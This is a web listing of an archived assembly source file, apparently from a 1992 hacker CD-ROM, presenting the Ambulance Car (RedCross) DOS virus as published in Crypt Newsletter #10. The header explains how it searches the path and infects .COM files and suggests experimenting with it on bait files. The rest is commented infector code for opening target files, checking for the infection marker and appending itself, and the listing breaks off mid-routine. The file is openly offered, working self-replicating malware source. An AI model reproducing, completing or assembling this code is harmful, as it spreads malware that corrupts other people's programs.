home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / AMBUL.ASM < prev    next >
Assembly Source File  |  1992-12-03  |  23KB  |  524 lines

  1. ;REDCROSS/AMBULANCE CAR VIRUS for Crypt Newsletter #10, edited by Urnst Kouch
  2. ;December 1992
  3. ;Originally supplied as a Sourcer disassembly in a Scandinavian virus mag
  4. ;published by "Youth Against McAfee (YAM)", this AMBULANCE specimen was 
  5. ;generated in its raw form by "Natas Kaupas." Hold that up to your mirror
  6. ;and it spells Satan. Whatever, "Natas/Satan" has also supplied us with the
  7. ;MINDLESS/FamR series of viruses for you trivia buffs. The Crypt Newsletter
  8. ;is obliged to him, wherever he is, for these interesting programs.
  9. ;
  10. ;In any case, while helpful, the original disassembly had diminished
  11. ;value, being completely uncommented. It did, however, assemble 
  12. ;under TASM into an actual working copy of the virus, which
  13. ;appears to be the AMBULANCE CAR B strain.
  14. ;
  15. ;
  16. ;Ambulance Car remains an interesting virus, packed with enough features
  17. ;so that it can still find its target files, .COM executables, wherever
  18. ;they might be lurking on a system.
  19. ;
  20. ;Principally, this revolves around the virus searching the path string set
  21. ;in the environment. If no path exists, the virus defaults to the
  22. ;current directory. In both cases, the virus may infect up to two files
  23. ;anywhere on the path per pass. Most times it will infect only one. 
  24. ;Sometimes it will not budge at all. 
  25. ;
  26. ;Once it's found a file, Ambulance checks it for the 0E9h byte at 
  27. ;the beginning. If it doesn't find it, the virus assumes the file is
  28. ;uninfected and immediately tries to complete the infection. If
  29. ;it does find the byte, it continues reading from there to confirm
  30. ;the viral sequence. If this is a coincidence and the complete sequence
  31. ;is not there, the virus will infect the file anyway.  
  32. ;
  33. ;Randomly, the virus will activate and run the Ambulance across the bottom
  34. ;of your screen after a round of infection.  Because of the path search
  35. ;Ambulance can easily find .COM executables on a sizeable disk at a time
  36. ;when there are less and less of these to be seen. Unfortunately, for a
  37. ;direct-action virus, the disk activity is noticeable with the caveats:
  38. ;on a fast machine, perhaps not; or in front of an average user, perhaps not.
  39. ;You never know how a user will react when dealing with viruses.
  40. ;
  41. ;You can easily experiment with this version on your machine by commenting
  42. ;out the path statement in your AUTOEXEC.BAT. This will restrict the
  43. ;virus to a test directory where it can be used to infect bait files
  44. ;until the Ambulance effect is seen.
  45. ;
  46. ;Ambulance Car is detected by "rules-based" anti-virus sentries like
  47. ;PCRx (reviewed in this issue), but keep in mind this type of
  48. ;protection is not flawless. Accidents can happen. Most current scanners 
  49. ;easily detect this variant of Ambulance, although
  50. ;some cannot disinfect files once they are parasitized.
  51.  
  52. data_1e           equ     0Ch
  53. data_2e           equ     49h
  54. data_3e           equ     6Ch
  55. psp_envirn_seg    equ     2Ch
  56. data_21e  equ     0C80h
  57.  
  58. virus             segment byte public
  59.           assume  cs:virus, ds:virus
  60.  
  61.  
  62.           org     100h
  63.  
  64. redcross          proc    far   ;main flow control procedure for Ambulance
  65.                                 ;Car virus
  66. start:
  67.           jmp     short virstart
  68. data_5            dw      4890h          ; Data table 
  69. data_7            dw      6C65h          ; Data table 
  70.           db       6Ch, 6Fh, 20h, 2Dh, 20h
  71.  
  72. copyright   db      'Copyright S & S Enterprises, 198';whoah, how'd Solomon's
  73.           db      '8'                                 ;stamp get in here? ;-]
  74.           db       0Ah, 0Dh, 24h, 1Ah,0B4h, 09h
  75.           db      0BAh, 03h, 01h,0CDh, 21h,0CDh
  76.           db      20h
  77. virstart:                     
  78.           db      0E8h, 01h, 00h
  79.           add     [bp-7Fh],bx
  80.           out     dx,al                   ; port 0, channel 0
  81.           add     ax,[bx+di]
  82.           call    check_infect            ; do path search, infect file
  83.           call    check_infect            ; ditto, sometimes, sometimes not
  84.           call    sound_fury              ; do we do AMBULANCE effect? Check!
  85.           lea     bx,[si+419h]            
  86.           mov     di,100h
  87.           mov     al,[bx]
  88.           mov     [di],al
  89.           mov     ax,[bx+1]
  90.           mov     [di+1],ax
  91.           jmp     di                      ; Register jump
  92.  
  93. exit:
  94.           retn                            ; handoff to host
  95.  
  96. redcross              endp
  97.  
  98. ;*****************************************************************************
  99. ;         SUBROUTINE
  100. ;*****************************************************************************
  101.  
  102. check_infect         proc    near         ; path search for Ambulance
  103.           call    loadpath                ; Car
  104.           mov     al,byte ptr data_19[si]
  105.           or      al,al                    
  106.           jz      exit                    ; No path/no files? Git!
  107.           lea     bx,[si+40Fh]            
  108.           inc     word ptr [bx]
  109.           lea     dx,[si+428h]            ; load effective address
  110.           mov     ax,3D02h
  111.           int     21h                ; open found file by loadpath read/write
  112.                                           ; with handle
  113.           mov     word ptr ds:[417h][si],ax  ;ax contains handle
  114.           mov     bx,word ptr ds:[417h][si]
  115.           mov     cx,3
  116.           lea     dx,[si+414h]            ; load address of buffer
  117.           mov     ah,3Fh                  ; to read first three bytes into.
  118.           int     21h                     ; Read the bytes . . .
  119.                                           ; bx points to file handle.
  120.                                           ;   
  121.           mov     al,byte ptr ds:[414h][si]
  122.           cmp     al,0E9h                 ; compare with 0E9h
  123.           jne     infect        ; if not equal, assume virus not here - infect
  124.           mov     dx,word ptr ds:[415h][si]  
  125.           mov     bx,word ptr ds:[417h][si]
  126.           add     dx,3
  127.           xor     cx,cx                   ; zero register
  128.           mov     ax,4200h
  129.           int     21h                     ; point to beginning of file, again
  130.                                           ; bx contains the handle
  131.                                           
  132.           mov     bx,word ptr ds:[417h][si]
  133.           mov     cx,6
  134.           lea     dx,[si+41Ch]            ; load effective address
  135.           mov     ah,3Fh                  ; and read the first 6 bytes
  136.           int     21h                     ; this time  
  137.                                             
  138.                                           ; ds:dx points to buffer
  139.          mov     ax,data_13[si]
  140.          mov     bx,data_14[si]
  141.          mov     cx,data_15[si]
  142.          cmp     ax,word ptr ds:[100h][si] ; compare with data copied above
  143.          jne     infect                    ; jump if not equal to infect
  144.          cmp     bx,data_5[si]
  145.          jne     infect                    ; jump if not equal
  146.          cmp     cx,data_7[si]
  147.          je      close                   ; finally, if we get a match we know
  148. infect:                                    ; we're here, so go to close up 
  149.          mov     bx,word ptr ds:[417h][si]
  150.          xor     cx,cx                   ; zero register
  151.          xor     dx,dx                   ; zero register
  152.          mov     ax,4202h
  153.          int     21h                     ; reset pointer to end of file
  154.                                          ; bx contains file handle
  155.                                           
  156.          sub     ax,3
  157.          mov     word ptr ds:[412h][si],ax
  158.          mov     bx,word ptr ds:[417h][si]
  159.          mov     ax,5700h                ; bx points to name of file
  160.          int     21h                     ; get file date and time
  161.                                          ; time returns in cx, date in dx
  162.                                           
  163.          push    cx                      ; push these onto the stack
  164.          push    dx                      ; we'll need 'em later
  165.          mov     bx,word ptr ds:[417h][si]
  166.          mov     cx,319h
  167.          lea     dx,[si+100h]            
  168.          mov     ah,40h                  ; write th